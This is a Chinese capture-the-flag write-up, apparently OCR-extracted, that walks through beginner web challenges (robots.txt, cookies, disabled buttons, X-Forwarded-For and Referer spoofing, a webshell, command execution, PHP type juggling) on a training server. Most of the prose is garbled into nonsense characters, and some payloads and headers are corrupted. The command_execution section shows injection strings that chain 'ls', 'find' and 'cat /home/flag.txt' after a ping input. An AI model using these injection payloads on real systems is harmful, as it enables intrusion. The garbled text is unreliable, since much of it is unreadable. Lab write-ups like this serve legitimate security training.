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3.robots

Robotsthil (HFANEET. HLEEAHIEE) KRR WL R R HE" (Robots Exclusion Protocol) , ki it Robots
PP VR 2R 51 SR LG T T W) DAPICHR, R 6 L AN BE HICEX B PAAR 39t 2238 2 robots IR BRI T [ 32 4, 22 ikrobots.txt F| — 5
flag_1s_h3re.phpAlE X K F, X R Zphp3tfk, REERIRIARAp /& HN EXABAT T
http://111.198.29.45:48199/f1ag_1s_h3re.phpsR J5 15 Flflag
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4.Backup
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5.cookie

cookie (REFFTER A EREHE) TG HBLIREE M4 & cookield ? 4R 5 Ht# i cookie.php i B See the hitp response
B S B A IR IR AT LB S Burpsuite £ 2 & Aih 1 [ % 75 Eliflag FR AT BLZE KR 55 28 B TH F 1285 7 b i 9 4% 3% Bl i response 3,
Flflag

O Ossx Orme Dess (Yamess Qme Ows NEE B&r G oEsKks @ HackBar 6] - X
W 7R I HTML CSS JS XHR =& MEie =k WS =2 [#&=Hs [12fAEFE FoRs HARS
wE A% EBE i BEERL E Fh o 0ER 140,96 13" B HBX Cookie S8 WA A IR
GET Alibs.baidu.com bootstrap.min.css stylesheet css BEE 97.22 ... Connection: Keep-Alive
GET Alibs.baidu.com bootstrap.min.css stylesheet css BaE 97.22 ... Content-Encoding: gzip
P N o Content-Length: 253
74 111.198.29.4... cookie.php document htmi 578 =13
Content-Type: text/html
GET Alibs baidu.com bootstrap.min.css stylesheet €55 BEF 97.22 ... Date: Wed, 07 Aug 2019 03:24:53 GMT
GET A 111.198.294... favicon.ico img hml B 290 .. T <y berpeace(2915b99a5defcc0670203d53¢071221) |
GET Alibs.baidu.com bootstrap.min.css stylesheet css BEF 97.22... Keep-Alive: timeout=5, max=100

Server: Apache/2.4.7 (Ubuntu)
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GET A111.198.294... / document html BEF 47 =,
GET Aibs.baid bootsti i tylesheet BEF 97.22 Vany: Accept-Encading
ibs.baidu.com bootstrap.min.css styleshee css 22 ...
2 i M X-Powered-By: PHP/5.5.9-Tubuntu4.26
13MNEK  Eff®68260KB/868T  s2ak: 1.89s7%F  DOMContentloaded: 1.88 73%F  load: 1.89 s3%h v

- = 14 = [

6.disabled_button
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JavaScript K&k disabled @1, DAMESCARX A AT AR BT DA B F) gt i R B 3t R TELX A dlisable d AR 48 e b F 1 23R 2
disabled

» <form action="" method="post">» -

<input class="btn btn-default” [REIILUIEE| -.yle="height:5epx;width:200px;" type="submit” value="flag"” name="auth”>
< /form:
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7.simple_js
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x34\x39\x2c\x35\x30 54 4k K 747 £ 15 31| — 5 F F hitp://mww.bejson.com/convert/ox2str/
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8.xff_referer

X-Forwarded-For & —/> HTTP ¥ &k #, EZERAT ik Web IRZ-EH3RKEV7 H) A 7 B H SE 1P ik

L RAM S, KRB RIHTTPIE RS RIARERS B[ K, W, RESHFWKEIFIRemote Addresstiibit i 2 & A%
HIRGAH/E MM, EXHERBRT, AFRNEZPHIEREER, FIE THTTPY BLEX-Forward-For. =4 5 o R Ik %% 25 5%
KR EIHTTPERE, 2% A R ELIPH#bE S A\ EIX-Forward-Ford, CAE/ESRE R A . BT X-Forward-For@ ] &
Ui, BT PAX-Forward-ForH () s ik 7E 3 FP 2 FE B AN AT {5

X R R X R B3R R ip b bk A i 123.123.123.123 B A/Rburpsuite I &, 44 &

X-Forwarded-For:123.123.123.123fh& H B

GET / HTTR/.1 4 HTTR/ .1 200 OK
Host: 111.198.29.45:45878 Date: Wed, 07 Aug 2018 06:56:58 GMT

UserAgent: Mozilla/S.0 (Windows NT 10.0; WinG4; x64; nv:68.0) Gecko/20100101
Firefox/68.0

Accept: text/html application/xhtrml+xml application/xml; g=0.9 " ¢=0.5
Accept-Language: zh-CN,zh;q=0.8 zh-TW; g=0.7 zh-HK; g=0.5 &n-US;q=0.3 en;q=0.2

Senver: Apache/2.4.7 (Ubuntu)
K¥-Powered-By: PHP/S.5.9-1ubuntud 26
WVary: Accept-Encoding
Content-Length: 525

Connection: close
Content-Type: text/html

Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For:123.123.123.123
Upgrade-Insecure-Requests: 1 <html>
Cache-Control: max-age=0 <head>
<meta charset="UUTF-8">
<title>index</title>
<link href="http:/libs. baidu.com/bootstrap3.0.3/css/bootstrap. min.css" rel="styleshest" />
i <style>
body{

margin-left:auto;

margin-right:auto;

margin-TOP:200PX;

width:20em;

}
<[style>

</head>
<hody>
E| <p id="demo">iptichlHi4123.123.123.123</p>
<script>document.getElementByld("demeo™).innerHTML="5:% 3 El https://www.google.com™;</script></b
ody>
</html=

P

R & ¥ i& Referer:https://www.google.com

<p id="demo">ipHbhl ¢ £ 4123.123.123.123</p>
<script>document.getElementByld("demo").innerHTML="1¢; i3} £ https://www.google.com”;</script><s
cript>document.getElementByld("demo™).innerHTML="cyberpeace{3a5812cd288300af2aaf6175earff30b}
"</soriptz<ibody=

</html=

B 2%
X-Forwarded-For:123.123.123.123

Referer:https://www.google.com
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9.weak_auth
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10.webshell

ffRET], RiEDUH ETRFERET], KGF, T30, BEiTinks
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(O] {48 SHELL
Hht: [hetp: //111.198.29. 4530627/ [shell
mE:
wE:
|BRA 2B ~l[eeEvad)  ~fepzaiz v g

cyberpeace{f357a4904499b6346caefe7383cd696e}



11.command_execution

R BT R A EENE — T AT REHITIRR
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H Jeping

127.0.01 |Is ...[...1...]

H LT T — K

ping - 3127.0.0.1 |Is .../...[.../

bin

boot

dev

etc

home

lib

lib64

media

mnt

opt

proc

root

run

run.sh

sbin

srv

Sys

tmp

usr

var

R G 1E N FH home U4

127.0.0.1|Is .../...I...lhome

HPping -¢ 3 127.0.0.1 |Is .../.../.../nome
flag.txt

RGN flag S

127.0.0.1 | cat .../.../.../homeflag.txt#k Flflag
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XA R T —% (R RS KRR FHEFEREREE)
127.0.0.1|find / -name "flag*" B % & Flflag F 5%
127.0.0.1|cat /home/flag.txt

12.simple_php

BRIG %R TRFA R E A afib 5 & AWHEAa=03 Hal B XA G R0 KR —AF & B i 2a=0AZE EHE I E—/Aika
EETOMRIR I E— AN ER X ARG 2] —Fflag LM TF F_ANfiEH) is_numericii # — ML 82 B AR FHBFF
FFE#, boolis_numeric ( mixed $var ). IR var REF ML FF A E MR E TRUE, FNRE FALSE & EbZE 2 %558 H b
bR R 7 BT LA b=A 5 =bE KT 12344 i Piflag fr LA &4 i

http://111.198.29.45:35506/?a=0A&&b=123456A #} J5 H Hiflag
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https://www.cnblogs.com/drkang/p/8688481.html
http://run.sh
http://www.gtfly.top/2019/06/29/Linux-Tricks-%25E4%25B8%2580/
http://111.198.29.45:35506/?a=0A&&b=123456A
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